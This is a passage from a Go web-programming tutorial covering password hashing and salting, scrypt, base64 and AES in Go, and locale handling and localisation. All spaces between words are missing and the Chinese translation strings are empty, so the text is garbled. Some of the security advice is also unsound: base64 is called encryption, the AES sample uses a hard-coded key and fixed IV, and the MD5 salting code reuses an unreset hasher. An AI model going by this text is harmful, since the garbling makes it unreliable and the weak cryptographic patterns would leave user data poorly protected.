Therearetwokeyfeaturesofone-wayhashing:
1)givenaone-wayhashofapassword,theresultingsummaryisalwaysuniquelydetermined.2)calculationspeed.Astechnologyadvances,itonlytakesasecondtocompletebillionsofone-wayhashcalculations.
Giventhecombinationoftheabovetwocharacteristics,andtakingintoaccountthefactthatthemajorityofpeopleusesomecombinationofcommonpasswords,anattackercancomputeacombinationofallthecommonpasswords.Eventhoughthepasswordsyoustoreinyourdatabasemaybehashvaluesonly,ifattackersgainaccesstothisdatabase,theycancomparethestoredhashestotheirprecomputedhashestoobtainthecorrespondingpasswords.Thistypeofattackreliesonwhatistypicallycalledarainbowtable.
Wecanseethatencryptinguserdatausingone-wayhashesmaynotbeenough.Onceawebsite'sdatabasegetsleaked,theuser'soriginalpasswordcouldpotentiallyberevealedtotheworld.
Advancedsolution
Throughtheabovedescription,we'veseenthathackerscanuserainbowtablestocrackhashedpasswords,largelybecausethehashalgorithmusedtoencryptthemispublic.Ifthehackersdonotknowwhattheencryptionalgorithmis,theywouldn'tevenknowwheretostart.
Animmediatesolutionwouldbetodesignyourownhashalgorithm.However,goodhashalgorithmscanbeverydifficulttodesignbothinterms
ofavoidingcollisionsandmakingsurethatyourhashingprocessisnottooobvious.Thesetwopointscanbemuchmoredifficulttoachievethanexpected.Formostofus,it'smuchmorepracticaltousetheexisting,battlehardenedhashalgorithmsthatarealreadyoutthere.
But,justtorepeatourselves,one-wayhashingisstillnotenoughtostopmoresophisticatedhackersfromreverseengineeringuserpasswords.Especiallyinthecaseofopensourcehashingalgorithms,weshouldneverassumethatahackerdoesnothaveintimateknowledgeofourhashingprocess.
Ofcourse,therearenoimpenetrableshields,buttherearealsonounbreakablespears.Nowadays,anywebsitewithdecentsecuritywilluseatechniquecalled"salting"tostorepasswordssecurely.Thispracticeinvolvesconcatenatingaserver-generatedrandomstringtoausersuppliedpassword,andusingtheresultingstringasaninputtoaone-wayhashfunction.Theusernamecanbeincludedintherandomstringtoensurethateachuserhasauniqueencryptionkey.
//import"crypto/md5"//Assumetheusernameabc,password123456h:=md5.New()io.WriteString(h,"passwordneedtobeencrypted")
pwmd5:=fmt.Sprintf("%x",h.Sum(nil))
//Specifytwosalt:salt1=@#$%salt2=^&*()salt1:="@#$%"salt2:="^&*()"
//salt1+username+salt2+MD5splicingio.WriteString(h,salt1)io.WriteString(h,"abc")io.WriteString(h,salt2)io.WriteString(h,pwmd5)
last:=fmt.Sprintf("%x",h.Sum(nil))
Inthecasewhereourtwosaltstringshavenotbeencompromised,evenif
hackersdomanagetogettheirhandsontheencryptedpasswordstring,itwillbealmostimpossibletofigureoutwhattheoriginalpasswordis.
Professionalsolution
Theadvancedmethodsmentionedabovemayhavebeensecureenoughtothwartmosthackingattemptsafewyearsago,sincemostattackerswouldnothavehadthecomputingresourcestocomputelargerainbowtables.However,withtheriseofparallelcomputingcapabilities,thesetypesofattacksarebecomingmoreandmorefeasible.
Howdowesecurelystoreapasswordsothatitcannotbedecipheredbyathirdparty,givenreallifelimitationsintimeandmemoryresources?Thesolutionistocalculateahashedpasswordtodeliberatelyincreasetheamountofresourcesandtimeitwouldtaketocrackit.Wewanttodesignahashsuchthatnobodycouldpossiblyhavetheresourcesrequiredtocomputetherequiredrainbowtable.
Verysecuresystemsutilizehashalgorithmsthattakeintoaccountthetimeandresourcesitwouldrequiretocomputeagivenpassworddigest.Thisallowsustocreatepassworddigeststhatarecomputationallyexpensivetoperformonalargescale.Thegreatertheintensityofthecalculation,themoredifficultitwillbeforanattackertopre-computerainbowtables-somuchsothatitmayevenbeinfeasibletotry.
InGo,it'srecommendedthatyouusethescryptpackage,whichisbasedontheworkofthefamoushackerColinPercival(oftheFreeBSDbackupserviceTarsnap).
Thepackge'ssourcecodecanbefoundatthefollowinglink:http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
HereisanexamplecodesnippetwhichcanbeusedtoobtainaderivedkeyforanAES-256encryption:
dk:=scrypt.Key([]byte("somepassword"),[]byte(salt),16384,8,1
,32)
Youcangenerateuniquepasswordvaluesusingtheabovemethod,whicharebyfarthemostdifficulttocrack.
Summary
Ifyou'reworriedaboutthesecurityofyouronlinelife,youcantakethefollowingsteps:
1)Asaregularinternetuser,werecommendusingLastPassforpasswordstorageandgeneration;ondifferentsitesusedifferentpasswords.
2)AsaGowebdeveloper,westronglysuggestthatyouuseoneoftheprofessional,welltestedmethodsaboveforstoringuserpasswords.
Links
DirectoryPrevioussection:SQLinjectionNextsection:Encryptanddecryptdata
9.6EncryptinganddecryptingdataTheprevioussectiondescribeshowtosecurelystorepasswords,butsometimesitmightbeneccessarytomodifysomesensitiveencrypteddatathathasalreadybeenstoredintoourdatabase.Whendatadecryptionisrequired,weshoulduseasymmetricencryptionalgorithminsteadoftheone-wayhashingtechniqueswe'vepreviouslycovered.
Base64Encryptionanddecryption
Ifthewebapplicationisrelativelysimple,andthedatasecurityrequirementsarenotsostringent,thenyoucanusearelativelysimplemethodofencryptionanddecryptionusingbase64.Thisapproachisrelativelystraightforwardtoimplement,andGo'sbase64packagehasgoodsupportforthis.Considerthefollowingexample:
packagemain
import("encoding/base64""fmt")
funcbase64Encode(src[]byte)[]byte{return[]byte(base64.StdEncoding.EncodeToString(src))}
funcbase64Decode(src[]byte)([]byte,error){returnbase64.StdEncoding.DecodeString(string(src))}
funcmain(){//encodehello:="helloworld"debyte:=base64Encode([]byte(hello))fmt.Println(debyte)//decodeenbyte,err:=base64Decode(debyte)iferr!=nil{fmt.Println(err.Error())}
ifhello!=string(enbyte){fmt.Println("helloisnotequaltoenbyte")}
fmt.Println(string(enbyte))}
Advancedencryptionanddecryption
TheGolanguagesupportssymmetricencryptionalgorithmsinitscryptopackage.Twoadvancedencryptionmodulesare:
crypto/aespackage:AES(AdvancedEncryptionStandard),alsoknownasRijndaelencryptionmethod,isusedbytheU.S.federalgovernmentasablockencryptionstandard.crypto/despackage:DES(DataEncryptionStandard),isasymmetricencryptionstandard.It'scurrentlythemostwidelyusedkeysystem,especiallyinprotectingthesecurityoffinancialdata.ItusedtobetheUnitedStatesfederalgovernment'sencryptionstandard,buthasnowbeenreplacedbyAES.
Becauseusingthesetwoencryptionalgorithmsisquitesimilar,we'lljustusetheaespackageinthefollowingexampletodemonstratehowyou'dtypicallyusethesepackages:
packagemain
import("crypto/aes""crypto/cipher""fmt""os")
varcommonIV=[]byte{0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f}
funcmain(){//Needtoencryptastringplaintext:=[]byte("MynameisAstaxie")//Ifthereisanincomingstringofwordstobeencrypted,setplaintexttothatincomingstringiflen(os.Args)>1{plaintext=[]byte(os.Args[1])}
//aesencryptionstringkey_text:="astaxie12798akljzmknm.ahkjkljl;k"iflen(os.Args)>2{
key_text=os.Args[2]}
fmt.Println(len(key_text))
//Createtheaesencryptionalgorithmc,err:=aes.NewCipher([]byte(key_text))iferr!=nil{fmt.Printf("Error:NewCipher(%dbytes)=%s",len(key_text),err)os.Exit(-1)}
//Encryptedstringcfb:=cipher.NewCFBEncrypter(c,commonIV)ciphertext:=make([]byte,len(plaintext))cfb.XORKeyStream(ciphertext,plaintext)fmt.Printf("%s=>%x\n",plaintext,ciphertext)
//Decryptstringscfbdec:=cipher.NewCFBDecrypter(c,commonIV)plaintextCopy:=make([]byte,len(plaintext))cfbdec.XORKeyStream(plaintextCopy,ciphertext)fmt.Printf("%x=>%s\n",ciphertext,plaintextCopy)}
Callingtheabovefunctionaes.NewCipher(whose[]bytekeyparametermustbe16,24or32,correspondingtotheAES-128,AES-192orAES-256algorithms,respectively),returnsacipher.BlockInterfacethatimplementsthreefunctions:
typeBlockinterface{//BlockSizereturnsthecipher'sblocksize.BlockSize()int
//Encryptencryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Encrypt(dst,src[]byte)
//Decryptdecryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Decrypt(dst,src[]byte)}
Thesethreefunctionsimplementencryptionanddecryptionoperations;seetheGodocumentationforamoredetailedexplanation.
Summary
Thissectiondescribesseveralencryptionalgorithmswhichcanbeusedindifferentwaysaccordingtoyourwebapplication'sencryptionanddecryptionneeds.Forthemostbasicapplications,base64encodingmaysuffice.Forapplicationswithmorestringentsecurityrequirements,it'srecommendedtousethemoreadvancedAESorDESalgorithm.
Links
DirectoryPrevious:storepasswordsNext:Summary
9.7SummaryInthischapter,we'vedescribedCSRF,XSSandSQLinjectionbasedattacks.Mostwebapplicationsarevulnerabletothesetypesofattacksduetoalackofadequateinputfilteringonthepartoftheapplication.So,inadditiontointroducingtheprinciplesbehindtheseattacks,we'vealsointroducedafewtechniquesforeffectivelyfilteringuserdataandpreventingtheseattacksfromevertakingplace.Wethentalkedaboutafewmethodsforsecurelystoringuserpasswords,firstintroducingbasicone-wayhashingforwebapplicationswithloosesecurityrequirements,thenpasswordsaltingandencryptionalgorithmsformoreseriousapplications.Finally,webrieflydiscussedtwo-wayhashingandtheencryptionanddecryptionofsensitivedata.WelearnedthattheGolanguageprovidespackagesforthreesymmetricencryptionalgorithms:base64,AESandDES.Thepurposeofthischapteristohelpreadersbecomemoreconsciousofthe
securityissuesthatexistinmoderndaywebapplications.Hopefully,itcanhelpdeveloperstoplananddesigntheirwebapplicationsalittlemorecarefully,sotheycanwritesystemsthatareabletopreventhackersfromexploitinguserdata.TheGolanguagehasalargeandwelldesignedanti-attacktoolkit,andeveryGodevelopershouldtakefulladvantageofthesepackagestobettersecuretheirwebapplications.
Links
DirectoryPrevioussection:EncryptanddecryptdataNextchapter:Internationalizationandlocalization
10InternationalizationandlocalizationInordertoadapttotheincreasingglobalizationoftheinternet,asdevelopers,wemaysometimesneedtobuildmultilingual,internationalwebapplications.Thismeansthatsamepageswillappearindifferentlanguagesaccordingtouserregions,andperhapstheUIandUXwillalsobeadaptedtoshowdifferenteffectsbasedonlocalholidaysorculture.Forexampleatruntime,theapplicationwillbeabletorecognizeandprocessrequestscomingfromdifferentgeographicalregionsandrenderpagesinthelocaldialectordisplaydifferentuserinterface.Ascompetentdevelopers,wedon'twanttohavetomanuallymodifyourapplication'ssourcecodetocatertoeverypossibleregionoutthere.Whenanapplicationneedstoaddsupportforanewlanguage,weshouldbeabletosimplydropintheappropriatelanguagepackandbedonewithit.
Inthissection,we'llbetalkingaboutinternationalizationandlocalization(usuallyexpressedasi18nandL10N,respectively).Internationalizationistheprocessofdesigningapplicationsthatareflexibleenoughtobeservedtomultipleregionsaroundtheworld.Insomeways,wecanthinkof
internationalizationassomethingthathelpstofacilitatelocalization,whichistheadaptationofawebapplication'scontentanddesigntosuitthelanguageorculturalneedsofspecificlocales.
Currently,Go'sstandardpackagedoesnotprovidei18nsupport,buttherearesomeusefulandrelativelysimplethird-partyimplementationsavailable.Inthischapter,we'llbeusingtheopen-source"go-i18n"librarytosupportinternationalizationinourexamples.
Whenwetalkaboutmakingourwebapplications"international",wemeanthateachwebpageshouldbeconstructedwithlocalespecificinformationandassembledwiththecorrespondinglocalstrings,timeandcurrencyformats,etc.Thisinvolvesthreethings:
1. howtodeterminetheuser'slocale.
2. howtosavestringsorotherinformationassociatedwiththelocale.
3. howtoembedstringsandotherinformationaccordingtotheuser'slocale.
Inthefirstsection,we'lldescribehowtodetectandsetthecorrectlocaleinordertoallowwebsiteusersaccesstotheirlanguagespecificpages.Thesecondsectiondescribeshowtohandleorstorestrings,currencies,times,datesandotherlocalerelatedinformation.Finally,thethirdsectionwilldescribehowtointernationalizeyourwebapplication;morespecifically,we'lldiscusshowtoreturndifferentpageswithlocaleappropriatecontent.Throughthesethreesections,we'llbeabletosupportfulli18ninourwebapplications.
Links
DirectoryPreviousChapter:Chapter9SummaryNextsection:Settingthedefaultregion
10.1Settingthedefaultregion
Findingoutthelocale
Alocaleisasetofdescriptorsforaparticulargeographicalregion,andcanincludespecificlanguagehabits,textformatting,culturalidiomsandamultitudeofothersettings.Alocale'snameisusuallycomposedofthreeparts.First(andmandatory)isthelocale'slanguageabbreviation,suchas"en"forEnglishor"zh"forChinese.Thesecondpartisanoptionalcountryspecifier,andfollowsthefirstwithanminussign.Thisspecifierallowswebapplicationstodistinguishbetweendifferentcountrieswhichspeakthesamelanguage,suchas"en-US"forU.S.English,and"en-GB"forBritishEnglish.Thelastpartisanotheroptionalspecifier,andisaddedtothelocalewithaperiod.Itspecifieswhichcharactersettouse,forinstance"zh-CN.gb2312"specifiesthegb2312charactersetforChinese.
Godefaultstothe"UTF-8"encodingset,soi18ninGoapplicationsdonotneedtoconsiderthelastparameter.Thus,inourexamples,we'llonlyusethefirsttwopartsoflocaledescriptionsasourstandardi18nlocalenames.
OnLinuxandSolarissystems,youcanusethelocale-acommandtogetalistofallsupportedregionalnames.Youcanusethislistasexamplesofsomecommonlocales.ForBSDandothersystems,thereisnolocalecommand,buttheregionalinformationisstoredin/usr/share/locale.
Settingthelocale
Nowthatwe'vedefinedwhatalocaleis,weneedtobeabletosetitaccordingtovisitingusers'information(eitherfromtheirpersonalsettings,thevisiteddomainname,etc.).Herearesomemethodswecanusetosettheuser'slocale:
Fromthedomainname
Wecansetauser'slocaleviathedomainnameitselfwhentheapplicationusesdifferentdomainsfordifferentregions.Forexample,wecanusewww.asta.comasourdefaultEnglishwebsite,andthedomainnamewww.asta.cnasitsChinesecounterpart.Bysettingupseparatedomainsforseparateregions,youcandetectandservetherequestedlocale.Thistypeofsetuphasseveraladvantages:
IdentifyingthelocaleviaURLisdistinctiveandunambiguousUsersintuitivelyknowwhichdomainnamestovisitfortheirspecificregionorlanguageImplementingthisschemeinaGoapplicationverysimpleandconvenient,andcanbeachievedthroughamapConducivetosearchenginecrawlerswhichcanimprovethesite'sSEO
Wecanusethefollowingcodetoimplementacorrespondingdomainnamelocale:
ifr.Host=="www.asta.com"{i18n.SetLocale("en")}elseifr.Host=="www.asta.cn"{i18n.SetLocale("zh-CN")}elseifr.Host=="www.asta.tw"{i18n.SetLocale("zh-TW")}
Alternatively,wecouldhavealsosetlocalesthroughtheuseofsub-domainsuchas"en.asta.com"forEnglishsitesand"cn.asta.com"forChinesesite.Thisschemecanberealizedincodeasfollows:
prefix:=strings.Split(r.Host,".")
ifprefix[0]=="en"{i18n.SetLocale("en")}elseifprefix[0]=="cn"{i18n.SetLocale("zh-CN")}elseifprefix[0]=="tw"{i18n.SetLocale("zh-TW")
}
Settinglocalesfromthedomainnameaswe'vedoneabovehasitsadvantages,howeverl10nisgenerallynotimplementedinthisway.Firstofall,thecostofdomainnames(althoughusuallyquiteaffordableindividually)canquicklyaddupgiventhateachlocalewillneeditsowndomainname,andoftenthenameofthedomainwillnotnecessarilyfitinwiththelocalcontext.Secondly,wedon'twanttohavetoindividuallyconfigureeachwebsiteforeachlocale.Rather,weshouldbeabletodothisprogrammatically,forinstancebyusingURLparameters.Let'shavealookatthefollowingdescription.
FromURLparameters
Themostcommonwayofimplementingl10nistosetthedesiredlocaledirectlyintheURLparameters,suchwww.asta.com/hello?locale=zhorwww.asta.com/zh/hello.Thisway,wecansettheregionlikeso:i18n.SetLocale(params["locale"]).
Thissetuphasalmostalltheadvantagesofprependingthelocaleinfrontofthedomainandit'sRESTful,sowedon'tneedtoaddadditionalmethodstoimplementit.Thedownsidetothisapproachisthatitrequiresacorrespondinglocaleparameterinsideeachlink,whichcanbequitecumbersomeandmayincreasecomplexity.However,wecanwriteagenericfunctionthatproducestheselocale-specificURLssothatalllinksaregeneratedthroughit.Thisfunctionshouldautomaticallyaddalocaleparametertoeachlinksowhenusersclickthem,weareabletoparsetheirrequestswithease:locale=params["locale"].
PerhapswewantourURLstolookevenmoreRESTful.Forexample,wecouldmapeachofourresourcesunderaspecificlocalelikewww.asta.com/en/booksforourEnglishsiteandwww.asta.com/zh/booksfortheChineseone.ThisapproachisnotonlymoreconducivetoURLSEO,butisalsomorefriendlyforusers.Anybodyvisitingthesiteshouldbeabletoaccesslocale-specificwebsiteresourcesdirectlyfromtheURL.SuchURLaddressescanthenbepassedthroughtheapplicationrouterinorderto
obtaintheproperlocale(refertotheRESTsection,whichdescribestherouterplug-inimplementation):
mux.Get("/:locale/books",listbook)
Fromtheclientsettingsarea
Insomespecialcases,werequireexplicitclientinformationinordertosetthelocaleratherthanobtainingitfromtheURLorURLparameters.Thisinformationmaycomedirectlyfromtheclient'sbrowsersettings,theuser'sIPaddress,orthelocationsettingsfilledoutbytheuseratthetimeofregistration.Thisapproachismoresuitableforweb-basedapplications.
Accept-Language
WhenaclientrequestsinformationusinganHTTPheadersetwiththeAccept-Languagefield,wecanusethefollowingGocodetoparsetheheaderandsettheappropriateregioncode:
AL:=r.Header.Get("Accept-Language")ifAL=="en"{i18n.SetLocale("en")}elseifAL=="zh-CN"{i18n.SetLocale("zh-CN")}elseifAL=="zh-TW"{i18n.SetLocale("zh-TW")}
Ofcourse,inrealworldapplications,wemayrequiremorerigorousprocessesandrulesforsettinguserregions
IPAddress
Anotherwayofsettingaclient'sregionistolookattheuser'sIPaddress.WecanusethepopularGeoIPGeoLiteCountryorCitylibrariestohelpusrelateuserIPaddressestotheircorrespondingregionalareas.Implementingthis
mechanismisverysimple:weonlyneedtolookuptheuser'sIPaddressinsideourdatabaseandthenreturnlocale-specificcontentaccordingtowhichregionwasreturned.
Userprofile
Youcanalsoletusersprovideyouwiththeirlocaleinformationthroughaninputelementsuchasadrop-downmenu(orsomethingsimilar).Whenwereceivethisinformation,wecansaveittotheaccountassociatedwiththeuser'sprofile.Whentheuserlogsinagain,wewillbeabletocheckandsettheirlocalesettings-thisguaranteesthateverytimetheuseraccessesthewebsite,thereturnedcontentwillbebasedontheirpreviouslysetlocale.
Summary
Inthissection,we'vedemonstratedavarietyofwayswithwhichuserspecificlocalescanbedetectedandset.Thesemethodsincludedsettingtheuserlocaleviadomainname,subdomainname,URLparametersanddirectlyfromclientsettings.Bycateringtothespecificneedsofspecificregions,wecanprovideacomfortable,familiarandintuitiveenvironmentforuserstoaccesstheservicesthatweprovide.
Links
DirectoryPreviousone:InternationalizationandlocalizationNextsection:Localizedresources
10.2LocalizedResourcesTheprevioussectiondescribedhowtosetlocales.Afterthelocalehasbeenset,wethenneedtoaddresstheproblemofstoringtheinformationcorrespondingtospecificlocales.Thisinformationcaninclude:textual
content,timeanddate,currencyvalues,pictures,specificfilesandotherviewresources.InGo,allofthiscontextualinformationisstoredinJSONformatonourbackend,tobecalleduponandinjectedintoourviewswhenusersfromspecificregionsvisitourwebsite.Forexample,EnglishandChinesecontentwouldbestoredinen.jsonandzh-CN.jsonfiles,respectively.
Localizedtextualcontent
Plaintextisthemostcommonwayofrepresentinginformationinwebapplications,andthebulkofyourlocalizedcontentwilllikelytakethisform.Thegoalistoprovidetextualcontentthatisbothidiomatictoregionalexpressionsandfeelsnaturalforforeignusersofyoursite.Onesolutionistocreateanestedmapoflocales,nativelanguagestringsandtheirlocalcounterparts.Whenclientsrequestpageswithsometextualcontent,wefirstchecktheirdesiredlocale,thenretrievethecorrespondingstringsfromtheappropriatemap.Thefollowingsnippetisasimpleexampleofthisprocess:
packagemain
import"fmt"
varlocalesmap[string]map[string]string
funcmain(){locales=make(map[string]map[string]string,2)en:=make(map[string]string,10)en["pea"]="pea"en["bean"]="bean"locales["en"]=encn:=make(map[string]string,10)cn["pea"]=""cn["bean"]=""locales["zh-CN"]=cnlang:="zh-CN"fmt.Println(msg(lang,"pea"))fmt.Println(msg(lang,"bean"))}
funcmsg(locale,keystring)string{ifv,ok:=locales[locale];ok{
ifv2,ok:=v[key];ok{returnv2}}return""}
Theaboveexamplesetsupmapsoftranslatedstringsfordifferentlocales(inthiscase,theChineseandEnglishlocales).WemapourcntranslationstothesameEnglishlanguagekeyssothatwecanreconstructourEnglishtextmessageinChinese.Ifwewantedtoswitchourtexttoanyotherlocalewemayhaveimplemented,it'dbeasimplematterofsettingonelangvariable.
Simplekey-valuesubstitutionscansometimesbeinadequateforourneeds.Forexample,ifwehadaphrasesuchas"Iam30yearsold"where30isavariable,howwouldwelocalizeit?Incaseslikethese,wecancombineusethefmt.Printffunctiontoachievethedesiredresult:
en["howold"]="Iam%dyearsold"cn["howold"]="%d"
fmt.Printf(msg(lang,"howold"),30)
Theexamplecodeaboveisonlyforthepurposeofdemonstration;actuallocaledataistypicallystoredinJSONformatinourdatabase,allowingustoexecuteasimplejson.Unmarshaltopopulatemaplocaleswithourstringtranslations.
Localizeddateandtime
Becauseofourtimezoneconventions,thetimeinoneregionoftheworldcanbedifferentthanthetimeinanotherregion.Similarly,thewayinwhichtimeisrepresentedcanalsovaryfromlocaletolocale.Forexample,aChineseenvironmentmayread20121024231113CST ,whileinEnglish,itmightbe:WedOct2423:11:13CST2012.Notonlyaretherevariationsin
language,buttherearedifferencesinformattingalso.So,whenitcomestolocalizingdatesandtimes,weneedtoaddressthefollowingtwopoints:
1. timezones2. formattingissues
The$GOROOT/lib/time/package/timeinfo.zipdirectorycontainslocalescorrespondingtotimezonedefinitions.Inordertoobtainthetimecorrespondingtoauser'scurrentlocale,weshouldfirstusetime.LoadLocation(namestring)togetaLocationobjectcorrespondingtoourlocale,passinginastringrepresentingthelocalesuchasAsia/ShanghaiorAmerica/Chicago.WecanthenusethisLocationobjectinconjunctionwithaTimeobject(obtainedbycallingtime.Now)togetthefinaltimeusingtheTimeobject'sInmethod.Adetailedlookatthisprocesscanbeseenbelow(thisexampleusessomeofthevariablesfromtheexampleabove):
en["time_zone"]="America/Chicago"cn["time_zone"]="Asia/Shanghai"
loc,_:=time.LoadLocation(msg(lang,"time_zone"))t:=time.Now()t=t.In(loc)fmt.Println(t.Format(time.RFC3339))
Wecanhandletextformattinginasimilarwaytosolveourtimeformattingproblem:
en["date_format"]="%Y-%m-%d%H:%M:%S"cn["date_format"]="%Y%m%d%H%M%S"
fmt.Println(date(msg(lang,"date_format"),t))
funcdate(fomatstring,ttime.Time)string{year,month,day=t.Date()hour,min,sec=t.Clock()//Parsingthecorresponding%Y%m%d%H%M%Sandthenreturningtheinformation//%Yreplacedby2012
//%mreplacedby10//%dreplacedby24}
Localizedcurrencyvalue
Obviously,currencydiffersfromregiontoregionalso.Wecantreatitthesamewaywetreatedourdates:
en["money"]="USD%d"cn["money"]="%d"
fmt.Println(date(msg(lang,"date_format"),100))
funcmoney_format(fomatstring,moneyint64)string{returnfmt.Sprintf(fomat,money)}
Localizationofviewsandresources
Wecanservecustomizedviewswithdifferentimages,css,jsandotherstaticresourcesdependingonthecurrentlocale.Onewaytoaccomplishthisisbyorganizingthesefilesintotheirrespectivelocales.Here'sanexample:
views|--en//EnglishTemplates|--images//storepictureinformation|--js//JSfiles|--css//CSSfilesindex.tpl//UserHomelogin.tpl//LogHome|--zh-CN//ChineseTemplates|--images|--js|--cssindex.tpllogin.tpl
Withthisdirectorystructure,wecanrenderlocale-specificviewslikeso:
s1,_:=template.ParseFiles("views"+lang+"index.tpl")VV.Lang=langs1.Execute(os.Stdout,VV)
Theresourcesreferencedintheindex.tplfilecanbedealtwithasfollows:
//jsfile<scripttype="text/javascript"src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>//cssfile<linkhref="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css"rel="stylesheet">//Picturefiles<imgsrc="views/{{.VV.Lang}}/https://raw.githubusercontent.com/astaxie/build-web-application-with-golang/master/pt-br/images/btn.png">
Withdynamicviewsandthewaywe'velocalizedourresources,wewillbeabletoaddmorelocaleswithoutmucheffort.
Summary
Thissectiondescribedhowtouseandstorelocalresources.Welearnedthatwecanuseconversionfunctionsandstringinterpolationforthis,andsawthatmapscanbeaneffectivewayofstoringlocale-specificdata.Forthelatter,wecouldsimplyextractthecorrespondinglocaleinformationwhenneeded-ifitwastextualcontentwedesired,ourmappedtranslationsandidiomscouldbepipeddirectlytotheoutput.Ifitwassomethingmoresophisticatedliketimeorcurrency,wesimplyusedthefmt.Printffunctiontoformatitbefore-hand.Localizingourviewsandresourceswastheeasiestcase,andsimplyinvolvedorganizingourfilesintotheirrespectivelocales,thenreferencingthemfromtheirlocalerelativepaths.
Links
DirectoryPrevioussection:SettingthedefaultregionNextsection:[Internationalsites
10.3InternationalsitesTheprevioussectionexplainedhowtodealwithlocalizedresources,namelybyusinglocaleconfigurationfiles.Sowhatcanwedoifweneedtodealwithmultiplelocalizedresourcesliketexttranslations,timesanddates,numbers,etc?Thissectionwilladdresstheseissuesonebyone.
Managingmultiplelocalepackages
Inthedevelopmentofanapplication,oftenthefirstthingyouneedtodoistodecidewhetherornotyouwanttosupportmorethanonelanguage.Ifyoudodecidetosupportmultiplelanguages,you'llneedtodevelopanorganizationalstructuretofacilitatetheprocessofaddingmorelanguagesinthefuture.Onewaywecandothisistoputallourrelatedlocalefilestogetherinaconfig/localesdirectory,orsomethingofthelike.Let'ssupposeyouwanttosupportbothChineseandEnglish.Inthiscase,you'dbeplacingboththeen.jsonandzh.jsonlocalefilesintotheaforementionedfolder.Theircontentswouldprobablylooksomethinglikethefollowing:
#zh.json
{"zh":{"submit":"" ,"create":""}}
#en.json
{"en":{"submit":"Submit","create":"Create"}}
Wedecidedtousesome3rdpartyGopackagestohelpusinternationalizeourwebapplications.Inthecaseofgo-i18n(Amoreadvancedi18npackagecanbefoundhere),wefirsthavetoregisterourconfig/localesdirectorytoloadallofourlocalefiles:
Tr:=i18n.NewLocale()Tr.LoadPath("config/locales")
Thispackageissimpletouse.Wecantestthatitworkslikeso:
fmt.Println(Tr.Translate("submit"))//Output"submit"Tr.SetLocale("zn")fmt.Println(Tr.Translate("submit"))//Outputs""
Automaticallyloadlocalpackage
We'vejustdescribedhowtoautomaticallyloadcustomlanguagepacks.Infact,thego-i18nlibrarycomespre-loadedwithabunchofdefaultformattinginformationsuchastimeandcurrencyformats.Thesedefaultconfigurationscanbeoverriddenandcustomizedbyuserstosuittheirneeds.Considerthefollowingprocess:
//Loadthedefaultconfigurationfiles,whichareplacedbelowin`go-i18n/locales`
//Fileshouldbenamedzh.json,en-json,en-US.jsonetc.,sowecanbecontinuouslysupportmorelanguages
func(il*IL)loadDefaultTranslations(dirPathstring)error{dir,err:=os.Open(dirPath)iferr!=nil{returnerr}deferdir.Close()
names,err:=dir.Readdirnames(-1)iferr!=nil{returnerr}
for_,name:=rangenames{fullPath:=path.Join(dirPath,name)
fi,err:=os.Stat(fullPath)iferr!=nil{returnerr}
iffi.IsDir(){iferr:=il.loadTranslations(fullPath);err!=nil{returnerr}}elseiflocale:=il.matchingLocaleFromFileName(name);locale!=""{file,err:=os.Open(fullPath)iferr!=nil{returnerr}deferfile.Close()
iferr:=il.loadTranslation(file,locale);err!=nil{returnerr}}}
returnnil}
Usingtheabovecodetoloadallofourdefaulttranslations,wecanthenusethefollowingcodetoselectandusealocale:
fmt.Println(Tr.Time(time.Now()))//Output:200910820:37:58CST
fmt.Println(Tr.Time(time.Now(),"long"))//Output:2009108
fmt.Println(Tr.Money(11.11))//Output:¥11.11
Templatemapfunc
Above,we'vepresentedonewayofmanagingandintegratinganumberoflanguagepacks.Someofthefunctionswe'veimplementedarebasedonthelogicallayer,forexample:"Tr.Translate","Tr.Time","Tr.Money"andsoon.Inthelogicallayer,wecanusethesefunctions(aftersupplyingtherequiredparameters)forapplyingyourtranslations,outputtingtheresultsdirectlytothetemplatelayeratrendertime.Whatcanwedoifwewanttousethesefunctionsdirectlyinthetemplatelayer?Incaseyou'veforgotten,earlierinthebookwementionedthatGotemplatessupportcustomtemplatefunctions.Thefollowingcodeshowshoweasymapfuncistoimplement:
1textinformation
Asimpletextconversionfunctionimplementingamapfunccanbeseenbelow.ItusesTr.Translatetoperformtheappropriatetranslations:
funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)
}returnTr.Translate(s)}
Weregisterthefunctionlikeso:
t.Funcs(template.FuncMap{"T":I18nT})
Thenuseitfromyourtemplate:
{{.V.Submit|T}}
1. Thedateandtime
DatesandtimescalltheTr.Timefunctiontoperformtheirtranslations.Themapfuncisimplementedasfollows:
funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Time(s)}
Registerthefunctionlikeso:
t.Funcs(template.FuncMap{"TD":I18nTimeDate})
Thenuseitfromyourtemplate:
{{.V.Now|TD}}
3CurrencyInformation
CurrenciesusetheTr.Moneyfunctiontoconvertmoney.ThemapFuncisimplementedasfollows:
funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Money(s)}
Registerthefunctionlikeso:
t.Funcs(template.FuncMap{"M":I18nMoney})
Thenuseitfromyourtemplate:
{{.V.Money|M}}
Summary
Inthissectionwelearnedhowtoimplementmultiplelanguagepacksinourwebapplications.Wesawthatthroughcustomlanguagepacks,wecannotonlyeasilyinternationalizeourapplications,butfacilitatetheadditionofotherlanguagesalso(throughtheuseofaconfigurationfile).Bydefault,the
go-i18npackagewillprovidesomecommonconfigurationsfortime,currency,etc.,whichcanbeveryconvenienttouse.Welearnedthatthesefunctionscanalsobeuseddirectlyfromourtemplatesusingmappingfunctions;eachtranslatedstringcanbepipeddirectlytoourtemplates.Thisenablesourwebapplicationstoaccommodatemultiplelanguageswithminimaleffort.
Links
DirectoryPrevioussection:LocalizedresourcesNextsection:Summary
